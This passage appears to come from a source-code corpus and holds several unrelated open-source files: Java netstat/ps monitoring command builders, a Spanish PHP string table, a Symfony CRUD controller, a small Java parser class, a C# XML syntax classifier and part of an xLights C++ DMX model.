getTCPSTATFIN_WAIT1Command(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+FIN_WAIT1\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATFIN_WAIT2Command(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+FIN_WAIT2\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATTIME_WAITCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+TIME_WAIT\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATCLOSEDCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+CLOSED\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATCLOSE_WAITCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+CLOSE_WAIT\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATLAST_ACKCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+LAST_ACK\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATLISTENCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+LISTEN\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATCLOSINGCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+CLOSING\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATUNKNOWNCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+UNKNOWN\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } // Generic public String getNUMOFUSERSCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[WHO][1] + " | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getNUMOFPROCSCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[PS][1] + " -e | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } // PS public String getPS1CPUPIDCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -1 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS1CPUCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -1 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS2CPUPIDCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -2 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS2CPUCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -2 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS3CPUPIDCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -3 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS3CPUCommand()// usr nice sys idle { if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -3 " + psCPUFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS1MEMPIDCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -1 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS1MEMCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -1 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS2MEMPIDCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -2 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS2MEMCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -2 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS3MEMPIDCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -3 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $1 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getPS3MEMCommand()// usr nice sys idle {//head -2 rontmp1 | tail -1 | awk '{ print $2 }' if (host.getSysinfo().contains(OS)) { command = cmdArray[HEAD][1] + " -3 " + psMEMFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String[][] getCommandArray() { return cmdArray; } }
ron-from-nl/DataCenterManager
src/DCMCommandLibraryLinux.java
Java
gpl-3.0
37,200
<? //________________________________________________________________________________________________________ // // Fichero de idiomas php: restaurarsoftincremental_esp.php (Comandos) // Idioma: Español //________________________________________________________________________________________________________ $TbMsg=array(); $TbMsg[0]='Centros'; $TbMsg[1]='Grupo de aulas'; $TbMsg[2]='Aulas'; $TbMsg[3]='Grupo de ordenadores'; $TbMsg[4]='Ordenadores'; $TbMsg[5]='Restaurar Software Incremental <br> (experimental)'; $TbMsg[6]='Ámbito'; $TbMsg[7]='Datos a suministrar'; $TbMsg[8]='Par'; $TbMsg[9]='Repositorio'; $TbMsg[10]='Imagen'; $TbMsg[11]='Opciones Adicionales'; $TbMsg[12]='Desconocido'; $TbMsg[13]='Caché'; $TbMsg[14]='Ámbito'; $TbMsg[15]='Ordenadores'; $TbMsg[16]='Desde'; $TbMsg[17]=''; $TbMsg[18]="DESAGRUPAR SEGÚN VALORES DISTINTOS DE:"; $TbMsg[19]="Datos a suministrar"; // Cabeceras de tabla de configuración $TbMsg[20]='Partición'; $TbMsg[21]='S.O. Instalado'; $TbMsg[22]='Tamaño'; $TbMsg[23]='Datos de configuration'; $TbMsg[24]='Tipo'; $TbMsg[25]='Imagen'; $TbMsg[26]='Perfil Software'; $TbMsg[27]='S.F.'; $TbMsg[28]='Ninguno'; $TbMsg[29]='Desconocido'; // Desagrupamiento $TbMsg[30]='Sistema de Ficheros'; $TbMsg[31]='Nombre del S.O.'; $TbMsg[32]='Tamaño de partición'; $TbMsg[33]='Nombre de la Imagen '; $TbMsg[34]='Perfil software'; // OPciones adicionales $TbMsg[35]='Borrar la Partición Previamente'; $TbMsg[36]='Copiar Imagen en cache'; $TbMsg[37]='Borrarla previamente de la cache'; $TbMsg[38]='Software Incremental'; $TbMsg[39]='No borrar archivos en destino'; ?>
DreamaerD/Opengnsys
admin/WebConsole/idiomas/php/esp/comandos/restaurarsoftincremental_esp.php
PHP
gpl-3.0
1,652
<?php namespace Claroline\CoreBundle\Controller\Mooc; use Symfony\Component\HttpFoundation\Request; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use Claroline\CoreBundle\Entity\Mooc\MoocAccessConstraints; use Claroline\CoreBundle\Form\Mooc\MoocAccessConstraintsType; use JMS\SecurityExtraBundle\Annotation\Secure; /** * Mooc\MoocAccessConstraints controller. */ class MoocAccessConstraintsController extends Controller { /** * Lists all Mooc\MoocAccessConstraints entities. * * @Route("/", name="admin_parameters_mooc_accessconstraints") * @Method("GET") * @Template() * @Secure(roles="ROLE_WS_CREATOR") */ public function indexAction() { $em = $this->getDoctrine()->getManager(); $entities = $em->getRepository('ClarolineCoreBundle:Mooc\MoocAccessConstraints')->findAll(); $forms = array(); foreach( $entities as $entity ) { $deleteForm = $this->createDeleteForm( $entity->getId()); $forms[] = $deleteForm->createView(); } return array( 'entities' => $entities, 'forms' => $forms ); } /** * Creates a new Mooc\MoocAccessConstraints entity. * * @Route("/", name="admin_parameters_mooc_accessconstraints_create") * @Method("POST") * @Template("ClarolineCoreBundle:Mooc\MoocAccessConstraints:new.html.twig") * @Secure(roles="ROLE_WS_CREATOR") */ public function createAction(Request $request) { $entity = new MoocAccessConstraints(); $form = $this->createCreateForm( $entity ); $form->handleRequest($request); if ($form->isValid()) { $em = $this->getDoctrine()->getManager(); $em->persist($entity); $em->flush(); return $this->redirect($this->generateUrl('admin_parameters_mooc_accessconstraints', array('id' => $entity->getId()))); } return array( 'entity' => $entity, 'form' => $form->createView(), ); } /** * Creates a form to create a Mooc\MoocAccessConstraints entity. * * @param MoocAccessConstraints $entity The entity * * @return \Symfony\Component\Form\Form The form */ private function createCreateForm( MoocAccessConstraints $entity) { $form = $this->createForm(new MoocAccessConstraintsType(), $entity, array( 'action' => $this->generateUrl('admin_parameters_mooc_accessconstraints_create'), 'method' => 'POST', )); $form->add('save', 'submit', array('label' => 'Create', 'attr' => array('class' => 'hide'))); return $form; } /** * Displays a form to create a new Mooc\MoocAccessConstraints entity. * * @Route("/new", name="admin_parameters_mooc_accessconstraints_new") * @Method("GET") * @Template() * @Secure(roles="ROLE_WS_CREATOR") */ public function newAction() { $entity = new MoocAccessConstraints(); $form = $this->createCreateForm( $entity ); return array( 'entity' => $entity, 'form' => $form->createView(), ); } /** * Displays a form to edit an existing Mooc\MoocAccessConstraints entity. * * @Route("/{id}/edit", name="admin_parameters_mooc_accessconstraints_edit") * @Method("GET") * @Template() * @Secure(roles="ROLE_WS_CREATOR") */ public function editAction( $id ) { $em = $this->getDoctrine()->getManager(); $entity = $em->getRepository('ClarolineCoreBundle:Mooc\MoocAccessConstraints')->find($id); if (!$entity) { throw $this->createNotFoundException('Unable to find Mooc\MoocAccessConstraints entity.'); } $editForm = $this->createEditForm($entity); $deleteForm = $this->createDeleteForm($id); return array( 'entity' => $entity, 'edit_form' => $editForm->createView(), 'delete_form' => $deleteForm->createView(), ); } /** * Creates a form to edit a Mooc\MoocAccessConstraints entity. * * @param MoocAccessConstraints $entity The entity * @return \Symfony\Component\Form\Form The form */ private function createEditForm(MoocAccessConstraints $entity) { $form = $this->createForm(new MoocAccessConstraintsType(), $entity, array( 'action' => $this->generateUrl('admin_parameters_mooc_accessconstraints_update', array('id' => $entity->getId())), 'method' => 'PUT', )); $form->add('save', 'submit', array('label' => 'Update', 'attr' => array('class' => 'hide'))); return $form; } /** * Edits an existing Mooc\MoocAccessConstraints entity. * * @Route("/{id}", name="admin_parameters_mooc_accessconstraints_update") * @Method("PUT") * @Template("ClarolineCoreBundle:Mooc\MoocAccessConstraints:edit.html.twig") * @Secure(roles="ROLE_WS_CREATOR") */ public function updateAction(Request $request, $id) { $em = $this->getDoctrine()->getManager(); $entity = $em->getRepository('ClarolineCoreBundle:Mooc\MoocAccessConstraints')->find($id); if (!$entity) { throw $this->createNotFoundException('Unable to find Mooc\MoocAccessConstraints entity.'); } $deleteForm = $this->createDeleteForm( $id ); $editForm = $this->createEditForm( $entity ); $editForm->handleRequest($request); if ($editForm->isValid()) { foreach ( $entity->getMoocs() as $mooc ) { foreach ( $mooc->getMoocSessions() as $session ) { //TODO By the listener $this->get('orange.search.indexer_todo_manager') ->toIndex($session); } } $em->flush(); return $this->redirect($this->generateUrl('admin_parameters_mooc_accessconstraints', array('id' => $id))); } return array( 'entity' => $entity, 'edit_form' => $editForm->createView(), 'delete_form' => $deleteForm->createView(), ); } /** * Deletes a Mooc\MoocAccessConstraints entity. * * @Route("/{id}", name="admin_parameters_mooc_accessconstraints_delete") * @Method("DELETE") * @Secure(roles="ROLE_WS_CREATOR") */ public function deleteAction(Request $request, $id) { $form = $this->createDeleteForm($id); $form->handleRequest($request); if ($form->isValid()) { $em = $this->getDoctrine()->getManager(); $entity = $em->getRepository('ClarolineCoreBundle:Mooc\MoocAccessConstraints')->find($id); if (!$entity) { throw $this->createNotFoundException('Unable to find Mooc\MoocAccessConstraints entity.'); } $em->remove($entity); $em->flush(); } return $this->redirect($this->generateUrl('admin_parameters_mooc_accessconstraints')); } /** * Creates a form to delete a Mooc\MoocAccessConstraints entity by id. * * @param mixed $id The entity id * * @return \Symfony\Component\Form\Form The form */ private function createDeleteForm($id) { return $this->createFormBuilder() ->setAction($this->generateUrl('admin_parameters_mooc_accessconstraints_delete', array( 'id' => $id ))) ->setMethod('DELETE') ->add('save', 'submit', array('label' => 'Delete')) ->getForm() ; } }
Solerni-R1-1/CoreBundle
Controller/Mooc/MoocAccessConstraintsController.php
PHP
gpl-3.0
7,982
package br.com.hebertmorais.movierating; import android.app.Application; import android.test.ApplicationTestCase; /** * <a href="http://d.android.com/tools/testing/testing_android.html">Testing Fundamentals</a> */ public class ApplicationTest extends ApplicationTestCase<Application> { public ApplicationTest() { super(Application.class); } }
hebertmorais/ZMovieRating
app/src/androidTest/java/br/com/hebertmorais/movierating/ApplicationTest.java
Java
gpl-3.0
362
package offeneBibel.parser; public class ObParallelPassageNode extends ObAstNode { private String m_book; private int m_chapter; private int m_startVerse; private int m_stopVerse; public ObParallelPassageNode(String book, int chapter, int verse) { super(NodeType.parallelPassage); m_book = BookNameHelper.getInstance().getUnifiedBookNameForString(book); m_chapter = chapter; m_startVerse = verse; m_stopVerse = -1; } public ObParallelPassageNode(String book, int chapter, int startVerse, int stopVerse) { super(NodeType.parallelPassage); m_book = BookNameHelper.getInstance().getUnifiedBookNameForString(book); m_chapter = chapter; m_startVerse = startVerse; m_stopVerse = stopVerse; } public String getOsisBookId() { return m_book; } public int getChapter() { return m_chapter; } public int getStartVerse() { return m_startVerse; } /** * Stop verse. Returns -1 if no stop verse was set. * @return */ public int getStopVerse() { return m_stopVerse; } }
freie-bibel/free-offene-bibel-converter
src/main/java/offeneBibel/parser/ObParallelPassageNode.java
Java
gpl-3.0
1,155
/* Copyright (C) 2014-2016 de4dot@gmail.com This file is part of dnSpy dnSpy is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. dnSpy is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with dnSpy. If not, see <http://www.gnu.org/licenses/>. */ //TODO: CDataSection, Keyword, ProcessingInstruction using System; using System.Diagnostics; using Microsoft.VisualStudio.Text; namespace dnSpy.Text.Tagging.Xml { enum XmlKind { /// <summary> /// Eg. &lt; or &amp; /// </summary> EntityReference, /// <summary> /// Text inside of elements /// </summary> Text, /// <summary> /// Text inside of elements that is pure whitespace /// </summary> TextWhitespace, /// <summary> /// Delimiter, eg. > /// </summary> Delimiter, /// <summary> /// Comment, eg. <!-- hello --> /// </summary> Comment, /// <summary> /// Whitespace inside of an element which separates attributes, attribute values, etc. /// </summary> ElementWhitespace, /// <summary> /// Name of element /// </summary> ElementName, /// <summary> /// Name of attribute /// </summary> AttributeName, /// <summary> /// Attribute value quote /// </summary> AttributeQuote, /// <summary> /// Attribute value (inside quotes) /// </summary> AttributeValue, /// <summary> /// Attribute value (inside quotes). The first character of the value is { /// </summary> AttributeValueXaml, } struct XmlSpanKind { public Span Span { get; } public XmlKind Kind { get; } public XmlSpanKind(Span span, XmlKind kind) { Span = span; Kind = kind; } } sealed class XmlClassifier { readonly ITextSnapshot snapshot; readonly int snapshotLength; readonly char[] buffer; int bufferLen; int bufferPos; int snapshotPos; State state; int spanStart; const int BUFFER_SIZE = 4096; enum State { // Initial state, look for elements, text Element, // Read element name ElementName, // Read attributes Attribute, // Read = AttributeEquals, // Read attribute quote AttributeQuoteStart, // Read attribute value AttributeValue, // Read attribute quote AttributeQuoteEnd, } public XmlClassifier(ITextSnapshot snapshot) { if (snapshot == null) throw new ArgumentNullException(nameof(snapshot)); this.snapshot = snapshot; snapshotLength = snapshot.Length; buffer = new char[Math.Min(BUFFER_SIZE, snapshot.Length)]; state = State.Element; } public XmlSpanKind? GetNext() { for (;;) { var kind = GetNextCore(); if (kind == null) break; Debug.Assert(spanStart != snapshotPos); if (spanStart == snapshotPos) break; return new XmlSpanKind(Span.FromBounds(spanStart, snapshotPos), kind.Value); } return null; } XmlKind? GetNextCore() { spanStart = snapshotPos; int c, pos; switch (state) { case State.Element: c = NextChar(); if (c < 0) return null; switch ((char)c) { case '<': c = PeekChar(); if (c < 0) return XmlKind.Delimiter; if (c == '/' || c == '?') { // </tag> or <?xml ... ?> SkipChar(); state = State.ElementName; return XmlKind.Delimiter; } if (c != '!') { // <tag> state = State.ElementName; return XmlKind.Delimiter; } SkipChar(); if (PeekChar() != '-') { // Error state = State.ElementName; return XmlKind.Delimiter; } SkipChar(); if (PeekChar() != '-') { // Error state = State.ElementName; return XmlKind.Delimiter; } SkipChar(); ReadComment(); return XmlKind.Comment; case '&': ReadEntityReference(); return XmlKind.EntityReference; default: return ReadWhitespaceOrText(c); } case State.ElementName: c = PeekChar(); if (c < 0) return null; if (char.IsWhiteSpace((char)c)) { ReadElementWhitespace(); return XmlKind.ElementWhitespace; } if (c == ':') { NextChar(); return XmlKind.Delimiter; } if (c == '<' || c == '>') { // Error state = State.Element; goto case State.Element; } pos = snapshotPos; ReadName(); if (pos == snapshotPos) { NextChar(); return XmlKind.Delimiter; } if (PeekChar() != ':') state = State.Attribute; return XmlKind.ElementName; case State.Attribute: c = PeekChar(); if (c < 0) return null; if (char.IsWhiteSpace((char)c)) { ReadElementWhitespace(); return XmlKind.ElementWhitespace; } if (c == ':') { NextChar(); return XmlKind.Delimiter; } if (c == '/') { SkipChar(); if (PeekChar() == '>') { SkipChar(); state = State.Element; return XmlKind.Delimiter; } return XmlKind.Delimiter; } if (c == '>') { SkipChar(); state = State.Element; return XmlKind.Delimiter; } if (c == '<') { // Error state = State.Element; goto case State.Element; } pos = snapshotPos; ReadName(); if (pos == snapshotPos) { NextChar(); return XmlKind.Delimiter; } if (PeekChar() != ':') state = State.AttributeEquals; return XmlKind.AttributeName; case State.AttributeEquals: c = PeekChar(); if (c < 0) return null; if (char.IsWhiteSpace((char)c)) { ReadElementWhitespace(); return XmlKind.ElementWhitespace; } if (c != '=') { // Error state = State.Attribute; goto case State.Attribute; } SkipChar(); state = State.AttributeQuoteStart; return XmlKind.Delimiter; case State.AttributeQuoteStart: c = PeekChar(); if (c < 0) return null; if (char.IsWhiteSpace((char)c)) { ReadElementWhitespace(); return XmlKind.ElementWhitespace; } if (c != '\'' && c != '"') { // Error state = State.Attribute; goto case State.Attribute; } isDoubleQuote = c == '"'; SkipChar(); state = State.AttributeValue; return XmlKind.AttributeQuote; case State.AttributeValue: c = PeekChar(); if (c == (isDoubleQuote ? '"' : '\'')) { state = State.AttributeQuoteEnd; goto case State.AttributeQuoteEnd; } var firstChar = ReadString(isDoubleQuote); state = State.AttributeQuoteEnd; return firstChar == '{' ? XmlKind.AttributeValueXaml : XmlKind.AttributeValue; case State.AttributeQuoteEnd: c = NextChar(); if (c < 0) return null; Debug.Assert(c == (isDoubleQuote ? '"' : '\'')); state = State.Attribute; return XmlKind.AttributeQuote; default: throw new InvalidOperationException(); } } bool isDoubleQuote; char ReadString(bool isDoubleQuote) { var quoteChar = isDoubleQuote ? '"' : '\''; char firstChar = (char)0; bool firstCharInitd = false; for (;;) { int c = PeekChar(); if (c < 0 || c == quoteChar) break; SkipChar(); if (!firstCharInitd) { firstCharInitd = true; firstChar = (char)c; } } return firstChar; } void ReadName() { int c = PeekChar(); if (c < 0) return; if (!IsNameStartChar((char)c)) return; SkipChar(); for (;;) { c = PeekChar(); if (c < 0) break; if (!IsNameChar((char)c)) break; SkipChar(); } } // https://www.w3.org/TR/REC-xml/#d0e804 bool IsNameStartChar(char c) => //c == ':' || ('A' <= c && c <= 'Z') || c == '_' || ('a' <= c && c <= 'z') || (0xC0 <= c && c <= 0xD6) || (0xD8 <= c && c <= 0xF6) || (0xF8 <= c && c <= 0x02FF) || (0x0370 <= c && c <= 0x037D) || (0x037F <= c && c <= 0x1FFF) || (0x200C <= c && c <= 0x200D) || (0x2070 <= c && c <= 0x218F) || (0x2C00 <= c && c <= 0x2FEF) || (0x3001 <= c && c <= 0xD7FF) || (0xF900 <= c && c <= 0xFDCF) || (0xFDF0 <= c && c <= 0xFFFD);//#x10000-#xEFFFF bool IsNameChar(char c) => IsNameStartChar(c) || c == '-' || c == '.' || ('0' <= c && c <= '9') || c == 0xB7 || (0x0300 <= c && c <= 0x036F) || (0x203F <= c && c <= 0x2040); void ReadElementWhitespace() { for (;;) { int c = PeekChar(); if (c < 0) break; if (!char.IsWhiteSpace((char)c)) break; SkipChar(); } } void ReadComment() { // We've already read <!-- for (;;) { int c = NextChar(); if (c < 0) break; if (c != '-') continue; c = NextChar(); if (c < 0) break; if (c != '-') continue; c = NextChar(); if (c < 0) break; if (c != '>') continue; break; } } XmlKind ReadWhitespaceOrText(int c) { bool isText = !char.IsWhiteSpace((char)c); while ((c = PeekChar()) >= 0) { if (!char.IsWhiteSpace((char)c)) { if (c == '&' || c == '<') break; isText = true; } SkipChar(); } return isText ? XmlKind.Text : XmlKind.TextWhitespace; } void ReadEntityReference() { // We've already read & for (;;) { int c = PeekChar(); if (c < 0) break; if (c == ';') { SkipChar(); break; } if (!char.IsLetterOrDigit((char)c)) break; SkipChar(); } } int NextChar() { if (bufferPos >= bufferLen) { int len = snapshotLength - snapshotPos; if (len == 0) return -1; if (len > buffer.Length) len = buffer.Length; snapshot.CopyTo(snapshotPos, buffer, 0, len); bufferLen = len; bufferPos = 0; } snapshotPos++; return buffer[bufferPos++]; } int PeekChar() { if (bufferPos >= bufferLen) { int len = snapshotLength - snapshotPos; if (len == 0) return -1; if (len > buffer.Length) len = buffer.Length; snapshot.CopyTo(snapshotPos, buffer, 0, len); bufferLen = len; bufferPos = 0; } return buffer[bufferPos]; } void SkipChar() { Debug.Assert(snapshotPos < snapshotLength); Debug.Assert(bufferPos < bufferLen); snapshotPos++; bufferPos++; } } }
MeteorAdminz/dnSpy
dnSpy/dnSpy/Text/Tagging/Xml/XmlClassifier.cs
C#
gpl-3.0
10,423
/*************************************************************** * This source files comes from the xLights project * https://www.xlights.org * https://github.com/smeighan/xLights * See the github commit history for a record of contributing * developers. * Copyright claimed based on commit dates recorded in Github * License: https://github.com/smeighan/xLights/blob/master/License.txt **************************************************************/ #include <wx/propgrid/propgrid.h> #include <wx/propgrid/advprops.h> #include <wx/xml/xml.h> #include <glm/mat4x4.hpp> #include <glm/glm.hpp> #include <glm/gtc/matrix_transform.hpp> #include <glm/gtc/type_ptr.hpp> #include "DmxSkulltronix.h" #include "../../ModelPreview.h" #include "../../xLightsVersion.h" #include "../../xLightsMain.h" #include "../../UtilFunctions.h" DmxSkulltronix::DmxSkulltronix(wxXmlNode *node, const ModelManager &manager, bool zeroBased) : DmxModel(node, manager, zeroBased) { color_ability = this; SetFromXml(node, zeroBased); } DmxSkulltronix::~DmxSkulltronix() { //dtor } class dmxPoint3 { public: float x; float y; float z; dmxPoint3(float x_, float y_, float z_, int cx_, int cy_, float scale_, float pan_angle_, float tilt_angle_, float nod_angle_ = 0.0) : x(x_), y(y_), z(z_) { float pan_angle = wxDegToRad(pan_angle_); float tilt_angle = wxDegToRad(tilt_angle_); float nod_angle = wxDegToRad(nod_angle_); glm::vec4 position = glm::vec4(glm::vec3(x_, y_, z_), 1.0); glm::mat4 rotationMatrixPan = glm::rotate(glm::mat4(1.0f), pan_angle, glm::vec3(0.0f, 1.0f, 0.0f)); glm::mat4 rotationMatrixTilt = glm::rotate(glm::mat4(1.0f), tilt_angle, glm::vec3(0.0f, 0.0f, 1.0f)); glm::mat4 rotationMatrixNod = glm::rotate(glm::mat4(1.0f), nod_angle, glm::vec3(1.0f, 0.0f, 0.0f)); glm::mat4 translateMatrix = glm::translate(glm::mat4(1.0f), glm::vec3((float)cx_, (float)cy_, 0.0f)); glm::mat4 scaleMatrix = glm::scale(glm::mat4(1.0f), glm::vec3(scale_)); glm::vec4 model_position = translateMatrix * rotationMatrixPan * rotationMatrixTilt * rotationMatrixNod * scaleMatrix * position; x = model_position.x; y = model_position.y; } }; class dmxPoint3d { public: float x; float y; float z; dmxPoint3d(float x_, float y_, float z_, float cx_, float cy_, float cz_, float scale_, float pan_angle_, float tilt_angle_, float nod_angle_ = 0.0) : x(x_), y(y_), z(z_) { float pan_angle = wxDegToRad(pan_angle_); float tilt_angle = wxDegToRad(tilt_angle_); float nod_angle = wxDegToRad(nod_angle_); glm::vec4 position = glm::vec4(glm::vec3(x_, y_, z_), 1.0); glm::mat4 rotationMatrixPan = glm::rotate(glm::mat4(1.0f), pan_angle, glm::vec3(0.0f, 1.0f, 0.0f)); glm::mat4 rotationMatrixTilt = glm::rotate(glm::mat4(1.0f), tilt_angle, glm::vec3(0.0f, 0.0f, 1.0f)); glm::mat4 rotationMatrixNod = glm::rotate(glm::mat4(1.0f), nod_angle, glm::vec3(1.0f, 0.0f, 0.0f)); glm::mat4 translateMatrix = glm::translate(glm::mat4(1.0f), glm::vec3(cx_, cy_, cz_)); glm::mat4 scaleMatrix = glm::scale(glm::mat4(1.0f), glm::vec3(scale_)); glm::vec4 model_position = translateMatrix * rotationMatrixPan * rotationMatrixTilt * rotationMatrixNod * scaleMatrix * position; x = model_position.x; y = model_position.y; z = model_position.z; } }; void DmxSkulltronix::AddTypeProperties(wxPropertyGridInterface* grid) { DmxModel::AddTypeProperties(grid); AddPanTiltTypeProperties(grid); wxPGProperty* p = grid->Append(new wxUIntProperty("Pan Min Limit", "DmxPanMinLimit", pan_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Pan Max Limit", "DmxPanMaxLimit", pan_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Tilt Min Limit", "DmxTiltMinLimit", tilt_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Tilt Max Limit", "DmxTiltMaxLimit", tilt_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Nod Channel", "DmxNodChannel", nod_channel)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 512); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Nod Orientation", "DmxNodOrient", nod_orient)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 360); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Nod Deg of Rot", 